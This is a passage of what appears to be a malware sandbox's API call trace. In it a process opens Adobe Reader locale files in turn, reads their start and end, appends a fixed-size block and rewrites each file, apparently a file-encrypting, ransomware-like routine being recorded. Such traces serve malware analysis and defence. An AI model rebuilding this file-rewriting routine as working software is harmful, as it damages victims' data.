lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.455] CloseHandle (hObject=0x1a0) returned 1 [0035.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\readoutloud.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0035.457] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.457] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2c00 [0035.457] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.457] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.457] ReleaseMutex (hMutex=0x128) returned 1 [0035.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x1e6324c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DEU", lpUsedDefaultChar=0x0) returned 15 [0035.457] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.461] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1c00 [0035.461] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.463] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1c00 [0035.463] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.464] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0035.464] WriteFile (in: hFile=0x1a0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.464] CloseHandle (hObject=0x1a0) returned 1 [0035.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\accessibility.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.670] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.670] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb200 [0035.670] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.670] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.670] ReleaseMutex (hMutex=0x128) returned 1 [0035.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ESP", lpUsedDefaultChar=0x0) returned 17 [0035.670] ReadFile (in: hFile=0x1b4, lpBuffer=0x272fd08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x272fd08*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.673] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa200 [0035.674] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.674] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa200 [0035.674] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.674] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0035.675] WriteFile (in: hFile=0x1b4, lpBuffer=0x2733d38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2733d38*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.675] CloseHandle (hObject=0x1b4) returned 1 [0035.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ia32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.676] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.676] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe00 [0035.676] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.676] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.676] ReleaseMutex (hMutex=0x128) returned 1 [0035.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x1e6322c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ESP", lpUsedDefaultChar=0x0) returned 8 [0035.676] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0035.679] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0035.679] WriteFile (in: hFile=0x1b4, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0035.679] CloseHandle (hObject=0x1b4) returned 1 [0035.680] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\sendmail.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.683] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.687] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4000 [0035.687] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.687] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.687] ReleaseMutex (hMutex=0x128) returned 1 [0035.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ESP", lpUsedDefaultChar=0x0) returned 12 [0035.687] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.698] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3000 [0035.699] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.702] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3000 [0035.702] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.702] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0035.702] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.702] CloseHandle (hObject=0x1b4) returned 1 [0035.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\brdlang32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.705] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.705] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3400 [0035.705] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.705] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.705] ReleaseMutex (hMutex=0x128) returned 1 [0035.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.EUQ", lpUsedDefaultChar=0x0) returned 13 [0035.705] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.718] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2400 [0035.718] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.718] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2400 [0035.718] WriteFile (in: hFile=0x1b4, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.718] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0035.718] WriteFile (in: hFile=0x1b4, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.718] CloseHandle (hObject=0x1b4) returned 1 [0035.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ppklite.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.720] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.720] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x81400 [0035.720] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.720] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.720] ReleaseMutex (hMutex=0x128) returned 1 [0035.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.EUQ", lpUsedDefaultChar=0x0) returned 11 [0035.720] ReadFile (in: hFile=0x1b4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.723] ReadFile (in: hFile=0x1b4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.724] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x80400 [0035.724] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.726] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x80400 [0035.726] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.726] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0035.726] WriteFile (in: hFile=0x1b4, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0035.726] WriteFile (in: hFile=0x1b4, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.726] CloseHandle (hObject=0x1b4) returned 1 [0035.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\updater.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\updater.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.734] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.734] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2a00 [0035.734] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.734] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.734] ReleaseMutex (hMutex=0x128) returned 1 [0035.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.EUQ", lpUsedDefaultChar=0x0) returned 11 [0035.734] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.736] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0035.736] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.736] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0035.736] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.736] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0035.736] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.737] CloseHandle (hObject=0x1b4) returned 1 [0035.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ebook.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.740] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.740] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a00 [0035.740] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.740] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.740] ReleaseMutex (hMutex=0x128) returned 1 [0035.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SUO", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SUO", lpUsedDefaultChar=0x0) returned 9 [0035.740] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0035.746] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 